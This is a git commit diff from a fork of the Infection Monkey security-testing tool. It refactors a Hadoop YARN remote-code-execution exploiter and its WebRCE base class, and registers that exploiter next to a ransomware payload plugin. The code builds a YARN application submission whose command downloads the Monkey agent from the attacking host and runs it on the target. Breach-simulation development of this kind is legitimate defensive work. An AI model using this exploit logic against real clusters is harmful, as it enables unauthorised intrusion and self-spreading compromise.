forked from p15670423/monkey
Merge pull request #1743 from guardicore/1605-modify-hadoop
Modify Hadoop exploiter
This commit is contained in:
commit
85eb3a2c0d
|
@ -33,29 +33,32 @@ class HadoopExploiter(WebRCE):
|
||||||
# Random string's length that's used for creating unique app name
|
# Random string's length that's used for creating unique app name
|
||||||
RAN_STR_LEN = 6
|
RAN_STR_LEN = 6
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self):
|
||||||
super(HadoopExploiter, self).__init__(host)
|
super(HadoopExploiter, self).__init__()
|
||||||
|
|
||||||
def _exploit_host(self):
|
def _exploit_host(self):
|
||||||
# Try to get exploitable url
|
# Try to get exploitable url
|
||||||
urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS)
|
urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS)
|
||||||
self.add_vulnerable_urls(urls, True)
|
self.add_vulnerable_urls(urls, True)
|
||||||
if not self.vulnerable_urls:
|
if not self.vulnerable_urls:
|
||||||
return False
|
return self.exploit_result
|
||||||
# We presume hadoop works only on 64-bit machines
|
|
||||||
if self.host.os["type"] == "windows":
|
|
||||||
self.host.os["machine"] = "64"
|
|
||||||
paths = self.get_monkey_paths()
|
paths = self.get_monkey_paths()
|
||||||
if not paths:
|
if not paths:
|
||||||
return False
|
return self.exploit_result
|
||||||
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
|
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
|
||||||
command = self.build_command(paths["dest_path"], http_path)
|
|
||||||
if not self.exploit(self.vulnerable_urls[0], command):
|
try:
|
||||||
return False
|
command = self._build_command(paths["dest_path"], http_path)
|
||||||
|
|
||||||
|
if self.exploit(self.vulnerable_urls[0], command):
|
||||||
|
self.add_executed_cmd(command)
|
||||||
|
self.exploit_result.exploitation_success = True
|
||||||
|
self.exploit_result.propagation_success = True
|
||||||
|
finally:
|
||||||
http_thread.join(self.DOWNLOAD_TIMEOUT)
|
http_thread.join(self.DOWNLOAD_TIMEOUT)
|
||||||
http_thread.stop()
|
http_thread.stop()
|
||||||
self.add_executed_cmd(command)
|
|
||||||
return True
|
return self.exploit_result
|
||||||
|
|
||||||
def exploit(self, url, command):
|
def exploit(self, url, command):
|
||||||
# Get the newly created application id
|
# Get the newly created application id
|
||||||
|
@ -69,7 +72,7 @@ class HadoopExploiter(WebRCE):
|
||||||
rand_name = ID_STRING + "".join(
|
rand_name = ID_STRING + "".join(
|
||||||
[safe_random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)]
|
[safe_random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)]
|
||||||
)
|
)
|
||||||
payload = self.build_payload(app_id, rand_name, command)
|
payload = self._build_payload(app_id, rand_name, command)
|
||||||
resp = requests.post(
|
resp = requests.post(
|
||||||
posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT
|
posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT
|
||||||
)
|
)
|
||||||
|
@ -85,7 +88,7 @@ class HadoopExploiter(WebRCE):
|
||||||
return False
|
return False
|
||||||
return resp.status_code == 200
|
return resp.status_code == 200
|
||||||
|
|
||||||
def build_command(self, path, http_path):
|
def _build_command(self, path, http_path):
|
||||||
# Build command to execute
|
# Build command to execute
|
||||||
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||||
if "linux" in self.host.os["type"]:
|
if "linux" in self.host.os["type"]:
|
||||||
|
@ -101,7 +104,7 @@ class HadoopExploiter(WebRCE):
|
||||||
}
|
}
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def build_payload(app_id, name, command):
|
def _build_payload(app_id, name, command):
|
||||||
payload = {
|
payload = {
|
||||||
"application-id": app_id,
|
"application-id": app_id,
|
||||||
"application-name": name,
|
"application-name": name,
|
||||||
|
|
|
@ -1,11 +1,10 @@
|
||||||
import logging
|
import logging
|
||||||
import re
|
|
||||||
from abc import abstractmethod
|
from abc import abstractmethod
|
||||||
from posixpath import join
|
from posixpath import join
|
||||||
from typing import List, Tuple
|
from typing import List, Tuple
|
||||||
|
|
||||||
from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus
|
from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus
|
||||||
from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64
|
from infection_monkey.exploit.consts import WIN_ARCH_64
|
||||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
|
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
|
||||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||||
|
@ -15,8 +14,6 @@ from infection_monkey.model import (
|
||||||
CHMOD_MONKEY,
|
CHMOD_MONKEY,
|
||||||
DOWNLOAD_TIMEOUT,
|
DOWNLOAD_TIMEOUT,
|
||||||
DROPPER_ARG,
|
DROPPER_ARG,
|
||||||
GET_ARCH_LINUX,
|
|
||||||
GET_ARCH_WINDOWS,
|
|
||||||
ID_STRING,
|
ID_STRING,
|
||||||
MONKEY_ARG,
|
MONKEY_ARG,
|
||||||
POWERSHELL_HTTP_UPLOAD,
|
POWERSHELL_HTTP_UPLOAD,
|
||||||
|
@ -35,22 +32,13 @@ POWERSHELL_NOT_FOUND = "powershell is not recognized"
|
||||||
|
|
||||||
|
|
||||||
class WebRCE(HostExploiter):
|
class WebRCE(HostExploiter):
|
||||||
def __init__(self, host, monkey_target_paths=None):
|
def __init__(self, monkey_target_paths=None):
|
||||||
"""
|
"""
|
||||||
:param host: Host that we'll attack
|
|
||||||
:param monkey_target_paths: Where to upload the monkey at the target host system.
|
:param monkey_target_paths: Where to upload the monkey at the target host system.
|
||||||
Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... }
|
Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... }
|
||||||
"""
|
"""
|
||||||
super(WebRCE, self).__init__(host)
|
super(WebRCE, self).__init__()
|
||||||
if monkey_target_paths:
|
|
||||||
self.monkey_target_paths = monkey_target_paths
|
self.monkey_target_paths = monkey_target_paths
|
||||||
else:
|
|
||||||
self.monkey_target_paths = {
|
|
||||||
"linux": self._config.dropper_target_path_linux,
|
|
||||||
"win32": self._config.dropper_target_path_win_32,
|
|
||||||
"win64": self._config.dropper_target_path_win_64,
|
|
||||||
}
|
|
||||||
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
|
|
||||||
self.vulnerable_urls = []
|
self.vulnerable_urls = []
|
||||||
self.target_url = None
|
self.target_url = None
|
||||||
|
|
||||||
|
@ -80,10 +68,6 @@ class WebRCE(HostExploiter):
|
||||||
# vulnerable.
|
# vulnerable.
|
||||||
exploit_config["stop_checking_urls"] = False
|
exploit_config["stop_checking_urls"] = False
|
||||||
|
|
||||||
# blind_exploit: If true we won't check if file exist and won't try to get the
|
|
||||||
# architecture of target.
|
|
||||||
exploit_config["blind_exploit"] = False
|
|
||||||
|
|
||||||
return exploit_config
|
return exploit_config
|
||||||
|
|
||||||
def _exploit_host(self):
|
def _exploit_host(self):
|
||||||
|
@ -108,10 +92,6 @@ class WebRCE(HostExploiter):
|
||||||
|
|
||||||
self.target_url = self.get_target_url()
|
self.target_url = self.get_target_url()
|
||||||
|
|
||||||
# Check for targets architecture (if it's 32 or 64 bit)
|
|
||||||
if not exploit_config["blind_exploit"] and not self.set_host_arch(self.get_target_url()):
|
|
||||||
return False
|
|
||||||
|
|
||||||
# Upload the right monkey to target
|
# Upload the right monkey to target
|
||||||
data = self.upload_monkey(self.get_target_url(), exploit_config["upload_commands"])
|
data = self.upload_monkey(self.get_target_url(), exploit_config["upload_commands"])
|
||||||
|
|
||||||
|
@ -133,6 +113,16 @@ class WebRCE(HostExploiter):
|
||||||
|
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
def pre_exploit(self):
|
||||||
|
if not self.monkey_target_paths:
|
||||||
|
self.monkey_target_paths = {
|
||||||
|
"linux": self.options["dropper_target_path_linux"],
|
||||||
|
"win32": self.options["dropper_target_path_win_32"],
|
||||||
|
"win64": self.options["dropper_target_path_win_64"],
|
||||||
|
}
|
||||||
|
self.HTTP = [str(port) for port in self.options["http_ports"]]
|
||||||
|
super().pre_exploit()
|
||||||
|
|
||||||
@abstractmethod
|
@abstractmethod
|
||||||
def exploit(self, url, command):
|
def exploit(self, url, command):
|
||||||
"""
|
"""
|
||||||
|
@ -254,38 +244,6 @@ class WebRCE(HostExploiter):
|
||||||
if not self.vulnerable_urls:
|
if not self.vulnerable_urls:
|
||||||
logger.info("No vulnerable urls found, skipping.")
|
logger.info("No vulnerable urls found, skipping.")
|
||||||
|
|
||||||
def get_host_arch(self, url):
|
|
||||||
"""
|
|
||||||
:param url: Url for exploiter to use
|
|
||||||
:return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ...
|
|
||||||
"""
|
|
||||||
if "linux" in self.host.os["type"]:
|
|
||||||
resp = self.exploit(url, GET_ARCH_LINUX)
|
|
||||||
if resp:
|
|
||||||
# Pulls architecture string
|
|
||||||
arch = re.search(r"(?<=Architecture:)\s+(\w+)", resp)
|
|
||||||
try:
|
|
||||||
arch = arch.group(1)
|
|
||||||
except AttributeError:
|
|
||||||
logger.error("Looked for linux architecture but could not find it")
|
|
||||||
return False
|
|
||||||
if arch:
|
|
||||||
return arch
|
|
||||||
else:
|
|
||||||
logger.info("Could not pull machine architecture string from command's output")
|
|
||||||
return False
|
|
||||||
else:
|
|
||||||
return False
|
|
||||||
else:
|
|
||||||
resp = self.exploit(url, GET_ARCH_WINDOWS)
|
|
||||||
if resp:
|
|
||||||
if "64-bit" in resp:
|
|
||||||
return WIN_ARCH_64
|
|
||||||
else:
|
|
||||||
return WIN_ARCH_32
|
|
||||||
else:
|
|
||||||
return False
|
|
||||||
|
|
||||||
# Wrapped functions:
|
# Wrapped functions:
|
||||||
def get_ports_w(self, ports, names):
|
def get_ports_w(self, ports, names):
|
||||||
"""
|
"""
|
||||||
|
@ -302,15 +260,6 @@ class WebRCE(HostExploiter):
|
||||||
else:
|
else:
|
||||||
return ports
|
return ports
|
||||||
|
|
||||||
def set_host_arch(self, url):
|
|
||||||
arch = self.get_host_arch(url)
|
|
||||||
if not arch:
|
|
||||||
logger.error("Couldn't get host machine's architecture")
|
|
||||||
return False
|
|
||||||
else:
|
|
||||||
self.host.os["machine"] = arch
|
|
||||||
return True
|
|
||||||
|
|
||||||
def run_backup_commands(self, resp, url, dest_path, http_path):
|
def run_backup_commands(self, resp, url, dest_path, http_path):
|
||||||
"""
|
"""
|
||||||
If you need multiple commands for the same os you can override this method to add backup
|
If you need multiple commands for the same os you can override this method to add backup
|
||||||
|
@ -327,7 +276,9 @@ class WebRCE(HostExploiter):
|
||||||
"monkey_path": dest_path,
|
"monkey_path": dest_path,
|
||||||
"http_path": http_path,
|
"http_path": http_path,
|
||||||
}
|
}
|
||||||
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
|
self.telemetry_messenger.send_telemtry(
|
||||||
|
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING)
|
||||||
|
)
|
||||||
resp = self.exploit(url, backup_command)
|
resp = self.exploit(url, backup_command)
|
||||||
return resp
|
return resp
|
||||||
|
|
||||||
|
@ -385,10 +336,10 @@ class WebRCE(HostExploiter):
|
||||||
command = CHMOD_MONKEY % {"monkey_path": path}
|
command = CHMOD_MONKEY % {"monkey_path": path}
|
||||||
try:
|
try:
|
||||||
resp = self.exploit(url, command)
|
resp = self.exploit(url, command)
|
||||||
T1222Telem(ScanStatus.USED, command, self.host).send()
|
self.telemetry_messenger.send_telemtry(T1222Telem(ScanStatus.USED, command, self.host))
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error("Something went wrong while trying to change permission: %s" % e)
|
logger.error("Something went wrong while trying to change permission: %s" % e)
|
||||||
T1222Telem(ScanStatus.SCANNED, "", self.host).send()
|
self.telemetry_messenger.send_telemtry(T1222Telem(ScanStatus.SCANNED, "", self.host))
|
||||||
return False
|
return False
|
||||||
# If exploiter returns True / False
|
# If exploiter returns True / False
|
||||||
if isinstance(resp, bool):
|
if isinstance(resp, bool):
|
||||||
|
@ -517,14 +468,15 @@ class WebRCE(HostExploiter):
|
||||||
logger.error("Target's OS was either unidentified or not supported. Aborting")
|
logger.error("Target's OS was either unidentified or not supported. Aborting")
|
||||||
return False
|
return False
|
||||||
if self.host.os["type"] == "linux":
|
if self.host.os["type"] == "linux":
|
||||||
return self._config.dropper_target_path_linux
|
return self.options["dropper_target_path_linux"]
|
||||||
if self.host.os["type"] == "windows":
|
if self.host.os["type"] == "windows":
|
||||||
try:
|
try:
|
||||||
|
# remove now or when 32-bit binaries are removed?
|
||||||
if self.host.os["machine"] == WIN_ARCH_64:
|
if self.host.os["machine"] == WIN_ARCH_64:
|
||||||
return self._config.dropper_target_path_win_64
|
return self.options["dropper_target_path_win_64"]
|
||||||
except KeyError:
|
except KeyError:
|
||||||
logger.debug("Target's machine type was not set. Using win-32 dropper path.")
|
logger.debug("Target's machine type was not set. Using win-32 dropper path.")
|
||||||
return self._config.dropper_target_path_win_32
|
return self.options["dropper_target_path_win_32"]
|
||||||
|
|
||||||
def get_target_url(self):
|
def get_target_url(self):
|
||||||
"""
|
"""
|
||||||
|
|
|
@ -68,7 +68,6 @@ class WebLogic201710271(WebRCE):
|
||||||
|
|
||||||
def get_exploit_config(self):
|
def get_exploit_config(self):
|
||||||
exploit_config = super(WebLogic201710271, self).get_exploit_config()
|
exploit_config = super(WebLogic201710271, self).get_exploit_config()
|
||||||
exploit_config["blind_exploit"] = True
|
|
||||||
exploit_config["stop_checking_urls"] = True
|
exploit_config["stop_checking_urls"] = True
|
||||||
exploit_config["url_extensions"] = WebLogic201710271.URLS
|
exploit_config["url_extensions"] = WebLogic201710271.URLS
|
||||||
return exploit_config
|
return exploit_config
|
||||||
|
@ -267,7 +266,6 @@ class WebLogic20192725(WebRCE):
|
||||||
def get_exploit_config(self):
|
def get_exploit_config(self):
|
||||||
exploit_config = super(WebLogic20192725, self).get_exploit_config()
|
exploit_config = super(WebLogic20192725, self).get_exploit_config()
|
||||||
exploit_config["url_extensions"] = WebLogic20192725.URLS
|
exploit_config["url_extensions"] = WebLogic20192725.URLS
|
||||||
exploit_config["blind_exploit"] = True
|
|
||||||
exploit_config["dropper"] = True
|
exploit_config["dropper"] = True
|
||||||
return exploit_config
|
return exploit_config
|
||||||
|
|
||||||
|
|
|
@ -44,8 +44,7 @@ RUN_MONKEY = "%(monkey_path)s %(monkey_type)s %(parameters)s"
|
||||||
# Commands used to check for architecture and if machine is exploitable
|
# Commands used to check for architecture and if machine is exploitable
|
||||||
CHECK_COMMAND = "echo %s" % ID_STRING
|
CHECK_COMMAND = "echo %s" % ID_STRING
|
||||||
# Architecture checking commands
|
# Architecture checking commands
|
||||||
GET_ARCH_WINDOWS = "wmic os get osarchitecture"
|
GET_ARCH_WINDOWS = "wmic os get osarchitecture" # can't remove, powershell exploiter uses
|
||||||
GET_ARCH_LINUX = "lscpu"
|
|
||||||
|
|
||||||
# All in one commands (upload, change permissions, run)
|
# All in one commands (upload, change permissions, run)
|
||||||
HADOOP_WINDOWS_COMMAND = (
|
HADOOP_WINDOWS_COMMAND = (
|
||||||
|
|
|
@ -17,6 +17,7 @@ from infection_monkey.credential_collectors import (
|
||||||
SSHCredentialCollector,
|
SSHCredentialCollector,
|
||||||
)
|
)
|
||||||
from infection_monkey.exploit import ExploiterWrapper
|
from infection_monkey.exploit import ExploiterWrapper
|
||||||
|
from infection_monkey.exploit.hadoop import HadoopExploiter
|
||||||
from infection_monkey.exploit.sshexec import SSHExploiter
|
from infection_monkey.exploit.sshexec import SSHExploiter
|
||||||
from infection_monkey.i_puppet import IPuppet, PluginType
|
from infection_monkey.i_puppet import IPuppet, PluginType
|
||||||
from infection_monkey.master import AutomatedMaster
|
from infection_monkey.master import AutomatedMaster
|
||||||
|
@ -222,6 +223,9 @@ class InfectionMonkey:
|
||||||
exploit_wrapper.wrap(SSHExploiter),
|
exploit_wrapper.wrap(SSHExploiter),
|
||||||
PluginType.EXPLOITER,
|
PluginType.EXPLOITER,
|
||||||
)
|
)
|
||||||
|
puppet.load_plugin(
|
||||||
|
"HadoopExploiter", exploit_wrapper.wrap(HadoopExploiter), PluginType.EXPLOITER
|
||||||
|
)
|
||||||
|
|
||||||
puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD)
|
puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD)
|
||||||
|
|
||||||
|
|
|
@ -82,7 +82,7 @@ class TelemetryFeed(flask_restful.Resource):
|
||||||
def get_exploit_telem_brief(telem):
|
def get_exploit_telem_brief(telem):
|
||||||
target = telem["data"]["machine"]["ip_addr"]
|
target = telem["data"]["machine"]["ip_addr"]
|
||||||
exploiter = telem["data"]["exploiter"]
|
exploiter = telem["data"]["exploiter"]
|
||||||
result = telem["data"]["result"]
|
result = telem["data"]["exploitation_result"]
|
||||||
if result:
|
if result:
|
||||||
return "Monkey successfully exploited %s using the %s exploiter." % (target, exploiter)
|
return "Monkey successfully exploited %s using the %s exploiter." % (target, exploiter)
|
||||||
else:
|
else:
|
||||||
|
|
|
@ -611,6 +611,8 @@ class ConfigService:
|
||||||
]:
|
]:
|
||||||
exploit_options[dropper_target] = config.get(dropper_target, "")
|
exploit_options[dropper_target] = config.get(dropper_target, "")
|
||||||
|
|
||||||
|
exploit_options["http_ports"] = sorted(config["HTTP_PORTS"])
|
||||||
|
|
||||||
formatted_exploiters_config = {
|
formatted_exploiters_config = {
|
||||||
"options": exploit_options,
|
"options": exploit_options,
|
||||||
"brute_force": [],
|
"brute_force": [],
|
||||||
|
|
|
@ -175,6 +175,7 @@ def test_format_config_for_agent__exploiters(flat_monkey_config):
|
||||||
"dropper_target_path_linux": "/tmp/monkey",
|
"dropper_target_path_linux": "/tmp/monkey",
|
||||||
"dropper_target_path_win_32": r"C:\Windows\temp\monkey32.exe",
|
"dropper_target_path_win_32": r"C:\Windows\temp\monkey32.exe",
|
||||||
"dropper_target_path_win_64": r"C:\Windows\temp\monkey64.exe",
|
"dropper_target_path_win_64": r"C:\Windows\temp\monkey64.exe",
|
||||||
|
"http_ports": [80, 443, 7001, 8008, 8080, 9200],
|
||||||
},
|
},
|
||||||
"brute_force": [
|
"brute_force": [
|
||||||
{"name": "MSSQLExploiter", "options": {}},
|
{"name": "MSSQLExploiter", "options": {}},
|
||||||
|
|
Loading…
Reference in New Issue